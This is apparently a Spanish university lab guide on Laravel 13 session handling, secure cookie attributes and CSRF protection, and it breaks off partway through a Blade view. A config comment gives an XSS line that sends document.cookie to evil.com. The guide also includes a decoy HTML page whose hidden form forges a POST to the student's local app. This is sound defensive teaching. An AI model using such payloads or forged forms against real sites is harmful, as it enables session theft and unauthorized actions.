

UNIVERSIDAD AUTÓNOMA TOMÁS FRÍAS
Carrera de Ingeniería Informática
INF781 — SEGURIDAD DE SOFTWARE
GUÍA DE LABORATORIO N° 4

Sesiones, Cookies Seguras y Protección CSRF

Proyecto: tasks-app | Driver: database | SameSite=Lax | VerifyCsrfToken

Materia:	INF781 Seguridad de Software	Semestre:	7° Semestre
Docente:	M.Sc. Huáscar F. Gonzales G.	Gestión:	2026
Duración:	5 horas académicas	Modalidad:	Presencial
Guía N°:	4 de 15	Proyecto:	tasks-app

COMPETENCIA: Configura el manejo seguro de sesiones y cookies en Laravel 13 usando el driver database, aplica atributos de seguridad HTTP (Secure, HttpOnly, SameSite) a las cookies, comprende y demuestra el ataque CSRF y su mitigación mediante el middleware VerifyCsrfToken, e implementa el ciclo completo de vida de sesión con regeneración y destrucción segura.

Relación con Guías Anteriores

Esta guía es la continuación directa de la Guía 3. El sistema de autenticación implementado (RegisterController, LoginController, middleware auth) es el punto de partida. Aquí se profundiza en cómo Laravel maneja la sesión que Auth::login() crea, y se refuerzan las cookies que la transportan.

⚠ PREREQUISITO: Guías 1, 2 y 3 completadas. El sistema de login/registro funcional. Verificar: `php artisan route:list | grep login` — debe mostrar las rutas GET y POST de /login.

Objetivos Específicos

- Comprender la arquitectura de sesiones en Laravel y la diferencia entre los drivers (file, cookie, database, redis).
- Configurar el driver database para sesiones y analizar la tabla sessions en PostgreSQL.
- Configurar cookies seguras: Secure, HttpOnly, SameSite=Lax y su impacto contra ataques.
- Explicar y demostrar el ataque CSRF con un formulario HTML externo malicioso.
- Verificar que el middleware VerifyCsrfToken de Laravel bloquea peticiones sin token válido.
- Implementar el ciclo completo: regeneración de sesión en login y destrucción segura en logout.

1. Marco Teórico

1.1 ¿Qué es una Sesión HTTP?

HTTP es un protocolo sin estado (stateless): cada petición es independiente y el servidor no recuerda peticiones anteriores. Las sesiones resuelven este problema almacenando datos del usuario entre peticiones. Laravel crea un identificador único (Session ID) que se envía al navegador como una cookie. En cada petición posterior, el navegador reenvía esa cookie, permitiendo al servidor recuperar los datos asociados.

1.2 Ciclo de Vida de una Sesión

El ciclo de vida de una sesión en Laravel sigue estos pasos fundamentales:

#	Acción	Descripción
1	POST /login	El usuario envía credenciales
2	Auth::attempt()	Laravel verifica email + contraseña hasheada
3	session()->regenerate()	Se genera nuevo Session ID (previene Session Fixation)
4	Set-Cookie: session_id=abc123	El servidor envía el ID en una cookie segura
5	Peticiones subsiguientes	El navegador reenvía la cookie automáticamente
6	POST /logout	El usuario solicita cerrar sesión
7	session()->invalidate()	Se destruyen todos los datos y se regenera el token

1.3 Drivers de Sesión en Laravel

Laravel soporta múltiples backends de almacenamiento para las sesiones. Cada driver tiene diferentes características de seguridad y rendimiento:

Driver	Almacenamiento	Seguridad	Producción
file	Archivos en storage/framework/sessions/	Baja — accesible en disco	No recomendado
cookie	Cookie cifrada en el navegador	Media — limitada a 4KB	Casos simples
database	Tabla sessions en PostgreSQL	Alta — datos en servidor	Recomendado
redis	Memoria Redis	Alta — TTL automático	Alto rendimiento
array	Memoria PHP (no persiste)	N/A — solo testing	Nunca

1.4 Atributos de Seguridad de Cookies

Las cookies de sesión deben configurarse con atributos de seguridad HTTP para protegerse contra ataques comunes:

Atributo	Valor	Propósito	Ataque que previene
HttpOnly	true	Impide acceso desde JavaScript	XSS (robo de cookie)
Secure	true	Solo envía por HTTPS	Man-in-the-Middle
SameSite	lax	Restringe envío cross-site	CSRF
Domain	null	Solo el dominio exacto	Subdomain hijacking
Path	/	Válida en toda la app	Path restriction
Max-Age	7200	Expira en 2 horas	Sesión eterna

1.5 El Ataque CSRF (Cross-Site Request Forgery)

El CSRF es un ataque donde un sitio malicioso envía una petición al servidor objetivo aprovechando que el navegador incluye automáticamente las cookies de sesión. El atacante no necesita conocer las credenciales: solo necesita que la víctima visite una página maliciosa mientras tiene sesión activa.

Paso	Actor	Acción	Resultado
1	Víctima	Inicia sesión en tasks-app	Cookie de sesión activa
2	Atacante	Crea página con formulario oculto	Apunta a tasks-app/tasks
3	Atacante	Envía enlace a la víctima	Email, chat, red social
4	Víctima	Visita la página maliciosa	El formulario se auto-envía
5	Navegador	Envía POST con cookie de sesión	Petición parece legítima
6	Sin CSRF	El servidor acepta la petición	Tarea creada por atacante
7	Con CSRF	El servidor rechaza (419)	Ataque bloqueado

SEGURIDAD CRÍTICA

Laravel protege contra CSRF automáticamente. Cada formulario incluye un token único (@csrf) que el middleware VerifyCsrfToken valida. Sin este token, Laravel responde con HTTP 419 (Page Expired). Esta protección está activa por defecto en todas las rutas web.

1.6 Session Fixation y su Prevención

Session Fixation es un ataque donde el atacante fija un Session ID conocido en el navegador de la víctima antes del login. Si el servidor no regenera el ID tras la autenticación, el atacante puede usar ese mismo ID para secuestrar la sesión autenticada. La prevención es simple: llamar a `session()->regenerate()` inmediatamente después de `Auth::attempt()` exitoso.

1.7 Middleware PreventRequestsDuringMaintenance y CSRF en Laravel 13

Laravel 13 introduce el middleware `PreventRequestForgery` como evolución del sistema CSRF. Sin embargo, el middleware `VerifyCsrfToken` sigue siendo el mecanismo principal para protección CSRF en formularios web. En esta guía trabajaremos con el flujo estándar que aplica a la mayoría de aplicaciones Laravel.

2. Prerequisitos

Antes de iniciar esta guía, asegúrese de cumplir con los siguientes requisitos:

Requisito	Versión/Estado	Verificación
Guía 3 completada	Tag v0.3.0	git tag -l grep v3.0
PHP	8.3+	php -v
Composer	2.x	composer -V
PostgreSQL	Activo	pg_isready
Laravel	13.x	php artisan --version
tasks-app funcional	Auth operativo	php artisan serve → login
Tabla sessions	Ya migrada	psql -U postgres -d tasks_db -c "\d sessions"

3. Procedimiento

Paso 1 Verificar la tabla sessions en la migración por defecto y hacer correcciones

A diferencia de versiones anteriores de Laravel, en Laravel 13 la tabla sessions ya está incluida en la migración por defecto 0001_01_01_000000_create_users_table.php. Esto significa que no es necesario ejecutar php artisan session:table como en versión anteriores a Laravel 13.

Verificar que la tabla existe en la migración:

```
database/migrations/0001_01_01_000000_create_users_table.php
// database/migrations/0001_01_01_000000_create_users_table.php
// (fragmento - parte final de la migración)

Schema::create('sessions', function (Blueprint $table) {
    $table->string('id')->primary();
    $table->foreignId('user_id')->nullable()->index();
    $table->string('ip_address', 45)->nullable();
    $table->text('user_agent')->nullable();
    $table->longText('payload');
    $table->integer('last_activity')->index();
});
```

Verificar la estructura en PostgreSQL:

```
Terminal
# Conectarse a la base de datos y describir la tabla
psql -U postgres -d tasks_app -c "\d sessions"

# Salida esperada:
#   Column      |          Type          | Nullable
#   -----+-----+-----
#   id          | character varying(255) | not null
#   user_id     | bigint                 | nullable
```

```
# ip_address      | character varying(45) | nullable
# user_agent      | text                  | nullable
# payload         | text                  | not null
# last_activity   | integer               | not null
```

La tabla sessions contiene las siguientes columnas:

Columna	Tipo	Propósito
id	VARCHAR(255)	Session ID único (token aleatorio)
user_id	BIGINT NULLABLE	FK al usuario autenticado (null si guest)
ip_address	VARCHAR(45)	IP del cliente (auditoría)
user_agent	TEXT	Navegador/dispositivo del cliente
payload	TEXT	Datos de sesión cifrados con APP_KEY
last_activity	INTEGER	Timestamp UNIX de la última actividad

SEGURIDAD

El campo payload se cifra automáticamente cuando SESSION_ENCRYPT=true en .env. Esto garantiza que incluso si un atacante accede a la base de datos, no podrá leer los datos de sesión sin la APP_KEY.

Captura 1: Resultado de \d sessions en psql mostrando la estructura de la tabla.

Corrección: Actualizar la columna user_id en la tabla sessions

La tabla users utiliza **UUID como clave primaria**, pero en la migración original de sessions, la columna user_id se definía como bigInteger (mediante foreignId), lo que causa un **error de tipo de dato incompatible** cuando Laravel intenta almacenar un UUID en esa columna.

Solución

La columna user_id en la tabla sessions debe ser de tipo uuid para coincidir con el tipo de id en la tabla users.

Migración de sessions (CORREGIDA)

```
Schema::create('sessions', function (Blueprint $table) {
    $table->string('id')->primary();

    // CORREGIDO: Cambiar de foreignId() a uuid()
    $table->uuid('user_id')->nullable()->index();

    $table->string('ip_address', 45)->nullable();
    $table->text('user_agent')->nullable();
    $table->longText('payload');
    $table->integer('last_activity')->index();
});
```

Ejecutar la migración

Como esta es una guía inicial y aún no tienes datos en producción, ejecuta:

```
php artisan migrate:fresh
```

Este comando:

1. **Elimina todas las tablas** de la base de datos
2. **Ejecuta todas las migraciones desde cero** con las correcciones
3. **Crea la estructura correcta** con `user_id` como UUID

Verificación

Confirma que la tabla `sessions` se creó correctamente:

```
psql -U postgres -d tasks_db -c "\d+ sessions"
```

Deberías ver:

Column	Type	Nullable
id	character varying(255)	not null
user_id	uuid	UUID, no bigint
ip_address	character varying(45)	
user_agent	text	
payload	text	not null
last_activity	integer	not null

Paso 2 Configurar cookies seguras y opciones de sesión

Debemos verificar y personalizar las opciones de seguridad de las cookies en `.env` y `config/session.php`.

Verificar y ajustar `.env`:

```
.env
# Driver: database (almacena en tabla sessions de PostgreSQL)
SESSION_DRIVER=database

# Tiempo de vida: 120 minutos de inactividad cierra la sesión
SESSION_LIFETIME=120

# Expirar al cerrar el navegador: false = sesión persiste
SESSION_EXPIRE_ON_CLOSE=false

# Cifrar el payload de sesión (además del cifrado propio del driver)
SESSION_ENCRYPT=true

# Nombre de la cookie de sesión (cambiar del default 'laravel_session')
SESSION_COOKIE=tasks_app_session

# Dominio de la cookie (dejar vacío en desarrollo)
SESSION_DOMAIN=null

# Secure: true = solo HTTPS (false en desarrollo local sin HTTPS)
SESSION_SECURE_COOKIE=false

# SameSite: lax (recomendado) | strict | none
SESSION_SAME_SITE=lax

# Partitioned (CHIPS): false salvo integración cross-site avanzada
SESSION_PARTITIONED_COOKIE=false
```

Verificar `config/session.php` (valores clave anotados):

```
config/session.php
<?php

use Illuminate\Support\Str;

return [

    /*
    |-----
    | Driver de Sesión Predeterminado
    |-----
    |
    | Define cómo se almacenan las sesiones de los usuarios. Cada opción
    | tiene diferentes características de seguridad y rendimiento.
    |
    | Opciones disponibles:
    | - "file"          → Archivos en disco (desarrollo local)
    | - "cookie"        → Datos en cookies del navegador (sin BD)
    | - "database"       → Tabla 'sessions' en BD (recomendado para producción)
    | - "memcached"      → Caché en memoria (alto rendimiento)
    | - "redis"          → Caché Redis (distribuido)
```

```

| - "dynamodb"    → AWS DynamoDB (serverless)
| - "array"       → Memoria (solo para testing)
|
*/

'driver' => env('SESSION_DRIVER', 'database'),

/*
|-----
| Duración de la Sesión
|-----
|
| Especifica cuántos MINUTOS de inactividad puede tener una sesión
| antes de expirar automáticamente. Después de este tiempo sin
| actividad, el usuario debe volver a autenticarse.
|
| Ejemplo: 120 = la sesión expira después de 2 horas sin usar la app
|
| Nota: 'expire_on_close' determina si expira al cerrar el navegador
|
*/

'lifetime' => (int) env('SESSION_LIFETIME', 120),

/*
|-----
| Expiración al Cerrar Navegador
|-----
|
| Si es 'true': la sesión se elimina cuando cierras el navegador
|                  (cookie de sesión, sin persistencia en BD)
| Si es 'false': la sesión persiste aunque cierres el navegador
|                  (se guarda en BD hasta que expire por 'lifetime')
|
*/

'expire_on_close' => env('SESSION_EXPIRE_ON_CLOSE', false),

/*
|-----
| Encriptación de Sesión
|-----
|
| Si es 'true': Laravel encripta TODOS los datos de la sesión
|                  antes de almacenarlos (payload en base64 + encriptado)
| Si es 'false': solo serializa sin encriptación adicional
|
| Recomendación: 'true' en producción para máxima seguridad
| El payload se encripta con APP_KEY del archivo .env
|
*/

'encrypt' => env('SESSION_ENCRYPT', true),

/*
|-----
| Ubicación de Archivos de Sesión
|-----
|
| Solo se usa si 'driver' es "file".
| Define dónde se almacenan los archivos de sesión en disco.
|

```

```
| Ruta por defecto: /storage/framework/sessions/
|
*/

'files' => storage_path('framework/sessions'),

/*
|-----
| Conexión a Base de Datos para Sesiones
|-----
|
| Si 'driver' es "database" o "redis", especifica qué conexión de BD usar.
| Normalmente se deja vacío para usar la conexión default (pgsql/mysql).
|
| Si no se define: usa la conexión default configurada en config/database.php
|
| Ejemplo en .env:
| SESSION_CONNECTION=pgsql → Usa la conexión PostgreSQL
|
*/

'connection' => env('SESSION_CONNECTION'),

/*
|-----
| Tabla de Base de Datos para Sesiones
|-----
|
| Especifica el nombre de la tabla donde se almacenan las sesiones.
| Por defecto: 'sessions'
|
| La tabla debe tener la estructura:
| - id (varchar 255, PK)
| - user_id (uuid, FK a users.id)
| - ip_address (varchar 45)
| - user_agent (text)
| - payload (text encriptado)
| - last_activity (integer timestamp)
|
*/

'table' => env('SESSION_TABLE', 'sessions'),

/*
|-----
| Almacén de Caché para Sesiones
|-----
|
| Solo se usa si 'driver' es "dynamodb", "memcached" o "redis".
| Define qué almacén de caché usar para guardar sesiones.
|
| Debe corresponder con un nombre en config/cache.php
|
*/

'store' => env('SESSION_STORE'),

/*
|-----
| Limpieza Automática de Sesiones (Garbage Collection)
|-----
|
```

```

| Probabilidad de ejecutar limpieza de sesiones expiradas en cada request.
| Valor: [numerador, denominador] = [2, 100] = 2% de probabilidad
|
| Cuando gana la lotería, Laravel ejecuta:
| DELETE FROM sessions WHERE last_activity < (ahora - lifetime)
|
| Esto previene que la tabla 'sessions' crezca indefinidamente.
| Las sesiones expiradas se eliminan automáticamente.
|
*/

'lottery' => [2, 100],

/*
|-----
| Nombre de la Cookie de Sesión
|-----
|
| Define el nombre de la cookie que almacena el session ID en el navegador.
| Esta cookie es enviada en cada request para identificar la sesión.
|
| Valor por defecto: 'APP_NAME-session' (ej: 'tasks-app-session')
|
| La cookie contiene el ID de sesión (ej: KNmJ3vgruhMk6LaK...)
| que Laravel usa para buscar los datos en la tabla 'sessions'
|
*/

'cookie' => env(
    'SESSION_COOKIE',
    Str::slug((string) env('APP_NAME', 'laravel')).'-session'
),

/*
|-----
| Ruta de la Cookie de Sesión
|-----
|
| Define en qué rutas del sitio se envía la cookie.
| '/' = se envía en TODAS las rutas
| '/admin' = se envía solo en rutas que comienzan con /admin
|
| Por defecto: '/' (cookie disponible en todo el sitio)
|
*/

'path' => env('SESSION_PATH', '/'),

/*
|-----
| Dominio de la Cookie de Sesión
|-----
|
| Define a qué dominio pertenece la cookie.
| Vacío (null) = solo el dominio actual (localhost, ejemplo.com, etc)
| '.ejemplo.com' = funciona en ejemplo.com y api.ejemplo.com
|
| En desarrollo: dejar vacío (null)
| En producción: puede especificarse para subdomios
|
*/

```

```
'domain' => env('SESSION_DOMAIN'),

/*
|-----
| Cookie Solo HTTPS
|-----
|
| Si es 'true': la cookie se envía SOLO si la conexión es HTTPS
|                (previene robo de sesión en conexiones sin encriptar)
| Si es 'false': la cookie se envía en HTTP y HTTPS
|
| Recomendación:
| - Desarrollo: false (localhost sin HTTPS)
| - Producción: true (requiere HTTPS obligatorio)
|
| Ataque que previene: Man-in-the-Middle (MITM) en redes públicas
|
*/

'secure' => env('SESSION_SECURE_COOKIE', false),

/*
|-----
| Cookie Solo HTTP (Sin Acceso JavaScript)
|-----
|
| Si es 'true': JavaScript NO puede acceder a la cookie
|                (document.cookie no la ve)
|                solo se envía automáticamente en requests HTTP
| Si es 'false': JavaScript PUEDE leer la cookie
|                (RIESGO: vulnerable a XSS)
|
| Recomendación: SIEMPRE 'true' (seguridad contra ataques XSS)
|
| Ataque que previene: Cross-Site Scripting (XSS)
| Ejemplo de ataque sin HttpOnly:
| <script>fetch('evil.com?cookie=' + document.cookie);</script>
|
*/

'http_only' => env('SESSION_HTTP_ONLY', true),

/*
|-----
| Cookies Same-Site
|-----
|
| Controla si la cookie se envía en requests cross-site (de otros sitios).
|
| Opciones:
| - "lax"      → La cookie se envía en navegación top-level (links, redirects)
|                pero NO en AJAX/Fetch desde otros sitios (RECOMENDADO)
| - "strict"   → La cookie NUNCA se envía cross-site
|                (máxima seguridad, pero puede romper integraciones)
| - "none"     → La cookie SIEMPRE se envía (requiere 'secure' = true)
|                (solo para APIs públicas con HTTPS)
| - null       → Comportamiento por defecto del navegador (no recomendado)
|
| Ataque que previene: Cross-Site Request Forgery (CSRF)
|
| Ejemplo de CSRF sin SameSite=Lax:
| Usuario en tasks-app.com (logueado)
```

```
|   → Visita evil-site.com
|   → evil-site.com hace POST a tasks-app.com/tasks/delete
|   → La cookie se envía automáticamente
|   → La tarea se borra sin consentimiento del usuario
|
| */
|
| 'same_site' => env('SESSION_SAME_SITE', 'lax'),
|
| /*
| -----
| Cookies Particionadas (CHIPS)
| -----
|
| Si es 'true': la cookie se particiona por sitio top-level
|                 (cada sitio tiene su propia copia de la cookie)
|                 Previene tracking cross-site
| Si es 'false': comportamiento normal (cookies globales)
|
| Nota: Esta es una especificación experimental y nuevas.
| Solo usar si tienes integraciones cross-site avanzadas.
|
| Recomendación: false para la mayoría de aplicaciones
|
| */
|
| 'partitioned' => env('SESSION_PARTITIONED_COOKIE', false),
|
| /*
| -----
| Serialización de Datos de Sesión
| -----
|
| Define cómo se codifican los datos antes de almacenarlos.
|
| Opciones:
| - "json" → Datos se serializan como JSON (recomendado)
|           Mayor seguridad, no permite objetos PHP complejos
| - "php"  → Datos se serializan con serialize() de PHP
|           Permite objetos PHP, pero riesgo de "gadget chain attacks"
|           si APP_KEY se compromete
|
| Recomendación: "json" para máxima seguridad
|
| Nota: Si cambias esto, las sesiones antiguas serán incompatibles
|
| */
|
| 'serialization' => 'json',
|
| ];
```

⚠ ADVERTENCIA

En desarrollo local (<http://localhost>), mantener `SESSION_SECURE_COOKIE=false`. Si se activa con HTTP, el navegador no enviará la cookie y las sesiones no funcionarán.
En producción (HTTPS), cambiar a `SESSION_SECURE_COOKIE=true` obligatoriamente.

Verificar la configuración en Tinker:

```
Terminal
php artisan tinker

>>> config('session.driver')
// => "database"

>>> config('session.http_only')
// => true

>>> config('session.same_site')
// => "lax"

>>> config('session.encrypt')
// => true
```

Captura 2: Resultado de las 4 verificaciones en Tinker.

Paso 3 Refactorizar LoginController con ciclo de sesión seguro

El LoginController existente (de la Guía 3) será refactorizado para documentar cada paso del ciclo de vida de la sesión con comentarios explícitos de seguridad.

```
app/Http/Controllers/Auth/LoginController.php
<?php

namespace App\Http\Controllers\Auth;

use App\Http\Controllers\Controller;
use App\Http\Requests\Auth\LoginRequest;
use Illuminate\Http\RedirectResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Log;
use Illuminate\View\View;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\Str;

class LoginController extends Controller
{
    /**
     * Mostrar el formulario de login.
     */
    public function create(): View
    {
        return view('auth.login');
    }

    /**
     * Procesar el login con ciclo completo de sesión segura.
     *
     * Ciclo de 6 pasos:
     * 1. Rate Limiting (anti fuerza bruta)
     * 2. Autenticación (Auth::attempt)
     * 3. Regeneración de sesión (anti Session Fixation)
     * 4. Limpieza del rate limiter
     * 5. Log de auditoría
     * 6. Redirección segura
     */

    public function store(LoginRequest $request): RedirectResponse
    {
        // — PASO 1: Rate Limiting —
        $throttleKey = Str::transliterate(
            Str::lower($request->input('email')).'|'.$request->ip()
        );

        if (RateLimiter::tooManyAttempts($throttleKey, 5)) {
            $seconds = RateLimiter::availableIn($throttleKey);
            return back()
                ->withInput($request->only('email'))
                ->withErrors([
                    'email' => "Demasiados intentos. Intente en {$seconds}s.",
                ]);
        }

        // — PASO 2: Autenticación —
    }
}
```

```

$credentials = $request->only('email', 'password');
$remember = $request->boolean('remember');

if (! Auth::attempt($credentials, $remember)) {
    RateLimiter::hit($throttleKey, 60);

    // Log del intento fallido (sin registrar la contraseña)
    Log::warning('Login fallido', [
        'email' => $request->email,
        'ip'     => $request->ip(),
        'agent'  => $request->userAgent(),
    ]);

    // Mensaje genérico: no revelar si el email existe
    return back()
        ->withInput($request->only('email'))
        ->withErrors([
            'email' => 'Las credenciales no coinciden.',
        ]);
}

// — PASO 3: Regeneración de sesión (CRÍTICO) —
// Genera un nuevo Session ID para prevenir Session Fixation.
// El atacante que conocía el ID anterior ya no puede
// usarlo porque ha sido invalidado.
$request->session()->regenerate();

// — PASO 4: Limpiar rate limiter —
RateLimiter::clear($throttleKey);

// — PASO 5: Log de auditoría —
Log::info('Login exitoso', [
    'user_id'    => Auth::id(),
    'email'      => Auth::user()->email,
    'ip'         => $request->ip(),
    'user_agent' => $request->userAgent(),
    'session_id' => $request->session()->getId(),
]);

// — Paso 6: Redirigir al destino original —————
// intended() recuerda la URL que el usuario intentaba visitar
return redirect()->intended(route('tasks.index'))
    ->with('success', '¡Bienvenido/a, ' . Auth::user()->name . '!');
}

/**
 * Cerrar sesión con destrucción segura.
 *
 * invalidate(): Destruye TODOS los datos de la sesión.
 * regenerateToken(): Genera un nuevo token CSRF para
 * prevenir que un token robado se use después del logout.
 */
public function destroy(Request $request): RedirectResponse
{
    // Log del logout
    Log::info('Logout', [
        'user_id'    => Auth::id(),
        'session_id' => $request->session()->getId(),
    ]);
}

```

```
Auth::logout();

// Destruir la sesión completa
$request->session()->invalidate();

// Regenerar el token CSRF
$request->session()->regenerateToken();

return redirect()->route('login')
    ->with('success', 'Has cerrado sesión correctamente. ¡Hasta pronto!');
}
```

💡 CONCEPTOS CLAVE

`session()->regenerate()`: Cambia el Session ID manteniendo los datos. Usar después del login.
`session()->invalidate()`: Destruye todos los datos y genera un nuevo ID vacío. Usar en el logout.
`session()->regenerateToken()`: Cambia solo el token CSRF. Usar después de `invalidate()`.

Captura 3: LoginController completo en el editor de código.

Paso 4 Comprender el middleware VerifyCsrfToken

Laravel incluye protección CSRF por defecto en todas las rutas web. El middleware VerifyCsrfToken se ejecuta automáticamente en cada petición POST, PUT, PATCH y DELETE verificando que el token sea válido.

Cómo funciona @csrf en los formularios Blade:

```
resources/views/tasks/create.blade.php (fragmento)
{{-- La directiva @csrf genera un campo oculto con el token --}}
<form method="POST" action="{ route('tasks.store') }">
    @csrf
    {{-- Esto se renderiza como: --}}
    {{-- <input type="hidden" name="_token"
        value="aB3xY9...(token único por sesión)" /> --}}

    <input type="text" name="title" placeholder="Nueva tarea">
    <button type="submit">Crear</button>
</form>
```

Inspeccionar el token CSRF en Tinker:

```
Terminal
php artisan tinker

>>> csrf_token()
// => "aB3xY9kL2mN4pQ7rS1tU6vW8xZ0..."

>>> session()->token()
// => (mismo valor que csrf_token())
```

Excluir rutas del CSRF (para webhooks):

```
bootstrap/app.php (fragmento)
<?php

// bootstrap/app.php
use Illuminate\Foundation\Configuration\Middleware;

->withMiddleware(function (Middleware $middleware) {
    $middleware->validateCsrfTokens(
        except: [
            'webhooks/*', // Rutas de webhooks externos
            'api/payments', // Callback de pagos
        ]
    );
});
```

⚠ ADVERTENCIA

Nunca excluir rutas que manejen datos del usuario (crear, editar, eliminar). Solo excluir endpoints que reciben peticiones de servicios externos que no pueden enviar tokens CSRF (webhooks de Stripe, GitHub, etc.).

Captura 4: Inspeccionar el HTML renderizado de un formulario mostrando el campo `_token` oculto con DevTools del navegador.

Paso 5 Demostrar el ataque CSRF y su mitigación

Crearemos un archivo HTML externo que simula un ataque CSRF. Este archivo NO forma parte de la aplicación Laravel; se abre directamente en el navegador para simular un sitio malicioso.

```
csrf_attack_demo.html (FUERA del proyecto Laravel)
<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <title>Sitio "Inocente"</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      max-width: 600px;
      margin: 50px auto;
      text-align: center;
    }
    .bait {
      background: #4CAF50;
      color: white;
      padding: 15px 40px;
      font-size: 18px;
      border: none;
      border-radius: 8px;
      cursor: pointer;
    }
    .hidden-form { display: none; }
    .result {
      margin-top: 20px;
      padding: 15px;
      background: #ffebee;
      border-left: 4px solid #f44336;
      text-align: left;
    }
  </style>
</head>
<body>
  <h1>¡Felicidades! Ganaste un premio</h1>
  <p>Haz clic en el botón para reclamar tu regalo.</p>

  <!-- Formulario VISIBLE (cebo) -->
  <button class="bait" onclick="submitAttack()">
    Reclamar Premio
  </button>

  <!-- Formulario OCULTO (ataque CSRF) -->
  <form id="csrf-form" class="hidden-form"
    method="POST"
    action="http://localhost:8000/tasks">
    <!-- SIN @csrf - no hay token -->
    <input type="hidden" name="title"
      value="TAREA CREADA POR ATACANTE">
    <input type="hidden" name="description"
      value="Esta tarea fue creada sin autorización">
  </form>

  <div id="result" class="result" style="display:none;">
```

```
<strong>Lo que realmente ocurrió:</strong>
<p>Se intentó enviar un POST a tu aplicación</p>
<p>con una tarea maliciosa.</p>
</div>

<script>
function submitAttack() {
    document.getElementById('result').style.display = 'block';
    // Enviar el formulario malicioso
    document.getElementById('csrf-form').submit();
}
</script>

<!--
VERSIÓN AUTO-SUBMIT (desactivada):
Un atacante real usaría JavaScript para enviar
automáticamente sin que la víctima haga clic:

<script>
window.onload = function() {
    document.getElementById('csrf-form').submit();
}
</script>
-->
</body>
</html>
```

Instrucciones de la prueba:

1. Iniciar el servidor con `php artisan serve`.
2. Iniciar sesión con un usuario válido en `http://localhost:8000/login`.
3. Abrir `csrf_attack_demo.html` directamente en el navegador (doble clic en el archivo).
4. Hacer clic en “Reclamar Premio”.
5. Observar la respuesta: Laravel debe responder con HTTP 419 (Page Expired).

✓ RESULTADO ESPERADO

Laravel bloquea la petición con error 419 porque el formulario malicioso no incluye el token CSRF. Verificar en la tabla sessions que NO se creó ninguna tarea nueva. Si se eliminara temporalmente el middleware `VerifyCsrfToken` (NO recomendado), la tarea SE crearía, demostrando la importancia de esta protección.

Captura 5: Pantalla del error 419 de Laravel al intentar el ataque CSRF.

Captura 6: DevTools del navegador mostrando la petición POST rechazada (status 419).

Paso 6 Monitorear sesiones activas en PostgreSQL

Una ventaja del driver database es la capacidad de auditar sesiones activas. Ejecutaremos consultas SQL para inspeccionar la tabla sessions en tiempo real.

Consultas de auditoría:

```
psql
-- Conectarse a la base de datos
psql -U postgres -d tasks_app

-- Ver todas las sesiones activas
SELECT
    id,
    user_id,
    ip_address,
    LEFT(user_agent, 50) AS navegador,
    TO_TIMESTAMP(last_activity) AS ultima_actividad
FROM sessions
ORDER BY last_activity DESC;

-- Contar sesiones por usuario
SELECT
    user_id,
    COUNT(*) AS sesiones_activas,
    MAX(TO_TIMESTAMP(last_activity)) AS ultima
FROM sessions
WHERE user_id IS NOT NULL
GROUP BY user_id;

-- Eliminar sesiones expiradas manualmente
DELETE FROM sessions
WHERE last_activity < EXTRACT(EPOCH FROM NOW()) - (120 * 60);
-- 120 minutos = SESSION_LIFETIME
```

CONSEJO

Usar `watch -n 2 "psql -U postgres -d tasks_app -c 'SELECT id, user_id, ip_address, TO_TIMESTAMP(last_activity) FROM sessions ORDER BY last_activity DESC'"` en otra terminal para monitorear en tiempo real mientras se hacen login/logout.

Captura 7: Resultado de la consulta de sesiones activas en psql con al menos una sesión autenticada.

Paso 7 Implementar gestión de sesiones activas

Implementaremos un controlador y una vista que permitan al usuario ver sus sesiones activas y cerrar sesiones en otros dispositivos.

```
app/Http/Controllers/SessionController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\RedirectResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
use Illuminate\View\View;

class SessionController extends Controller
{
    /**
     * Mostrar sesiones activas del usuario.
     */
    public function index(Request $request): View
    {
        $sessions = DB::table('sessions')
            ->where('user_id', Auth::id())
            ->orderByDesc('last_activity')
            ->get()
            ->map(function ($session) use ($request) {
                return (object) [
                    'id' => $session->id,
                    'ip_address' => $session->ip_address,
                    'user_agent' => $session->user_agent,
                    'last_activity' => $session->last_activity,
                    'is_current' => $session->id === $request->session()-
>getId(),
                    'last_active_at' => \Carbon\Carbon::createFromTimestamp(
                        $session->last_activity
                    )->diffForHumans(),
                ];
            });

        return view('sessions.index', compact('sessions'));
    }

    /**
     * Cerrar todas las demás sesiones (requiere contraseña).
     */
    public function destroyOthers(Request $request): RedirectResponse
    {
        $request->validate([
            'password' => ['required', 'string'],
        ]);

        if (! Hash::check($request->password, Auth::user()->password)) {
            return back()->withErrors([
                'password' => 'La contraseña es incorrecta.',
            ]);
        }
    }
}
```

```

    }

    // Eliminar todas excepto la sesión actual
    DB::table('sessions')
        ->where('user_id', Auth::id())
        ->where('id', '!=', $request->session()->getId())
        ->delete();

    return back()->with('status', 'Otras sesiones cerradas.');
```

}

/**
 * Cerrar una sesión específica.
 */

public function destroy(Request \$request, string \$sessionId): RedirectResponse
{
 // Solo permite cerrar sesiones propias
 \$deleted = DB::table('sessions')
 ->where('id', \$sessionId)
 ->where('user_id', Auth::id())
 ->delete();

if (\$deleted) {
 return back()->with('status', 'Sesión cerrada.');

}

return back()->withErrors(['session' => 'Sesión no encontrada.']);
}

Registrar las rutas:

routes/web.php (fragmento)

```

<?php

use App\Http\Controllers\SessionController;

// En routes/web.php, dentro del grupo 'auth':
Route::middleware('auth')->group(function () {
    // ... rutas existentes de tasks ...

    // Gestión de sesiones
    Route::get('/sessions', [SessionController::class, 'index'])
        ->name('sessions.index');
    Route::delete('/sessions/others', [SessionController::class, 'destroyOthers'])
        ->name('sessions.destroyOthers');
    Route::delete('/sessions/{session}', [SessionController::class, 'destroy'])
        ->name('sessions.destroy');
});
```

Vista de sesiones activas:

resources/views/sessions/index.blade.php

```

@extends('layouts.app')

@section('title', 'Sesiones Activas')
```

```

@section('content')
<div class="max-w-2xl mx-auto">
    <h2 class="text-xl font-bold mb-4">Sesiones Activas</h2>

    @if(session('status'))
        <div class="bg-green-100 text-green-700 p-3 rounded mb-4">
            {{ session('status') }}
        </div>
    @endif

    @foreach($sessions as $s)
    <div class="border rounded p-4 mb-3
        {{ $s->is_current ? 'border-green-500 bg-green-50' : '' }}">
        <div class="flex justify-between items-start">
            <div>
                <p class="font-semibold">
                    {{ Str::limit($s->user_agent, 60) }}
                    @if($s->is_current)
                        <span class="text-green-600 text-sm">(Esta sesión)</span>
                    @endif
                </p>
